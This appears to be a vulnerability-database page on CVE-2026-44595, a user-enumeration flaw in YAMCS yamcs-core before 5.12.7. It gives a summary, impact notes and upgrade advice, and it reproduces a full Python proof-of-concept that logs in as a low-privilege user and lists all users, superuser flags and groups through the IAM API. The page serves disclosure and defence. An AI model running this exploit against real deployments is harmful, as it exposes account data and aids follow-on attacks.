YAMCS yamcs-core 5.12.7 - User Enumeration
YAMCS yamcs-core 5.12.7 - User Enumeration
AI Analysis
Technical Summary
The YAMCS yamcs-core product before version 5.12.7 is vulnerable to user enumeration, which can disclose valid usernames to an attacker. This vulnerability is documented as CVE-2026-44595. Exploit code exists in Python, demonstrating the ability to enumerate users on Linux deployments of the software. The issue is classified as medium severity and no known exploits are reported in the wild at this time.
Potential Impact
Successful exploitation allows an attacker to confirm the existence of user accounts within the YAMCS system. This information disclosure can facilitate targeted attacks such as password guessing or social engineering. There is no direct indication of privilege escalation or remote code execution from the provided data.
Mitigation Recommendations
Upgrade to YAMCS yamcs-core version 5.12.7 or later, which addresses this user enumeration vulnerability. Since no official patch link is provided, verify the fix by consulting the vendor's official resources at https://yamcs.org or the GitHub repository. No additional mitigation steps are specified.
Indicators of Compromise
- exploit-code: # Exploit Title: YAMCS yamcs-core < 5.12.7 - User Enumeration # Date: 2026-05-27 # Exploit Author: Daniel Miranda Barcelona (Excal1bur) # Vendor Homepage: https://yamcs.org # Software Link: https://github.com/yamcs/yamcs # Version: < 5.12.7 # Tested on: Linux # CVE: CVE-2026-44595 # Category: Remote / Information Disclosure # Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29 #!/usr/bin/env python3 """ CVE-2026-44595 — YAMCS Unauthorized User Enumeration via IAM API ================================================================= IAM API endpoints (listUsers, getUser, listGroups, getGroup) do not enforce SystemPrivilege.ControlAccess. Any authenticated user can enumerate all accounts, superuser status, and group memberships. Affected endpoints: GET /api/iam/users GET /api/iam/users/{name} GET /api/iam/groups GET /api/iam/groups/{name} ================================================================= """ import requests import sys import json def main(): target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090" username = sys.argv[2] if len(sys.argv) > 2 else "testuser" password = sys.argv[3] if len(sys.argv) > 3 else "test" base = target.rstrip("/") print("=" * 65) print(" CVE-2026-44595 — YAMCS IAM User Enumeration PoC") print(f" Target: {target}") print(f" Username: {username} (low-privilege account)") print("=" * 65) # Authenticate print(f"\n[1] Authenticating as low-privilege user...") try: resp = requests.post(f"{base}/auth/token", data={"grant_type": "password", "username": username, "password": password}) if resp.status_code != 200: print(f" [-] Auth failed: HTTP {resp.status_code}") print(f" [*] Create test user: yamcsadmin users create testuser --password test") return token = resp.json().get("access_token") print(f" [+] Token: {token[:30]}...") headers = {"Authorization": f"Bearer {token}"} except Exception as e: print(f" [-] Error: {e}") return # Enumerate users print(f"\n[2] GET /api/iam/users (requires ControlAccess — not enforced):") resp = requests.get(f"{base}/api/iam/users", headers=headers) print(f" HTTP: {resp.status_code}") if resp.status_code == 200: users = resp.json().get("users", []) print(f"\n [!!!] VULNERABLE — {len(users)} users enumerated:") for u in users: flag = "SUPERUSER" if u.get("superuser") else "regular" print(f" -> {u.get('name')} [{flag}]") elif resp.status_code == 403: print(f" [+] 403 Access Denied — PATCHED") # Enumerate groups print(f"\n[3] GET /api/iam/groups:") resp = requests.get(f"{base}/api/iam/groups", headers=headers) print(f" HTTP: {resp.status_code}") if resp.status_code == 200: groups = resp.json().get("groups", []) print(f"\n [!!!] VULNERABLE — {len(groups)} groups enumerated:") for g in groups: print(f" -> {g.get('name')} ({len(g.get('members', []))} members)") elif resp.status_code == 403: print(f" [+] 403 Access Denied — PATCHED") print("\n" + "=" * 65) print(" Fix: Upgrade to yamcs-core >= 5.12.7") print("=" * 65) if __name__ == "__main__": main()
YAMCS yamcs-core 5.12.7 - User Enumeration
Description
YAMCS yamcs-core 5.12.7 - User Enumeration
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The YAMCS yamcs-core product before version 5.12.7 is vulnerable to user enumeration, which can disclose valid usernames to an attacker. This vulnerability is documented as CVE-2026-44595. Exploit code exists in Python, demonstrating the ability to enumerate users on Linux deployments of the software. The issue is classified as medium severity and no known exploits are reported in the wild at this time.
Potential Impact
Successful exploitation allows an attacker to confirm the existence of user accounts within the YAMCS system. This information disclosure can facilitate targeted attacks such as password guessing or social engineering. There is no direct indication of privilege escalation or remote code execution from the provided data.
Mitigation Recommendations
Upgrade to YAMCS yamcs-core version 5.12.7 or later, which addresses this user enumeration vulnerability. Since no official patch link is provided, verify the fix by consulting the vendor's official resources at https://yamcs.org or the GitHub repository. No additional mitigation steps are specified.
Technical Details
- Cve
- CVE-2026-44595
- Version
- < 5.12.7
- Vendor
- https://yamcs.org
- Application
- https://github.com/yamcs/yamcs
- Author
- Daniel Miranda Barcelona
- Platform
- Linux
- Edb Id
- 52604
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for YAMCS yamcs-core 5.12.7 - User Enumeration
# Exploit Title: YAMCS yamcs-core < 5.12.7 - User Enumeration # Date: 2026-05-27 # Exploit Author: Daniel Miranda Barcelona (Excal1bur) # Vendor Homepage: https://yamcs.org # Software Link: https://github.com/yamcs/yamcs # Version: < 5.12.7 # Tested on: Linux # CVE: CVE-2026-44595 # Category: Remote / Information Disclosure # Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29 #!/usr/bin/env python3 """ CVE-2026-44595 — YAMCS Unauthorized User Enumeration via IAM... (2929 more characters)
Threat ID: 6a1b58ece29bf47b508cc6fb
Added to database: 05/30/2026, 21:38:52 UTC
Last enriched: 06/23/2026, 17:12:47 UTC
Last updated: 07/31/2026, 19:22:59 UTC
Views: 97
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.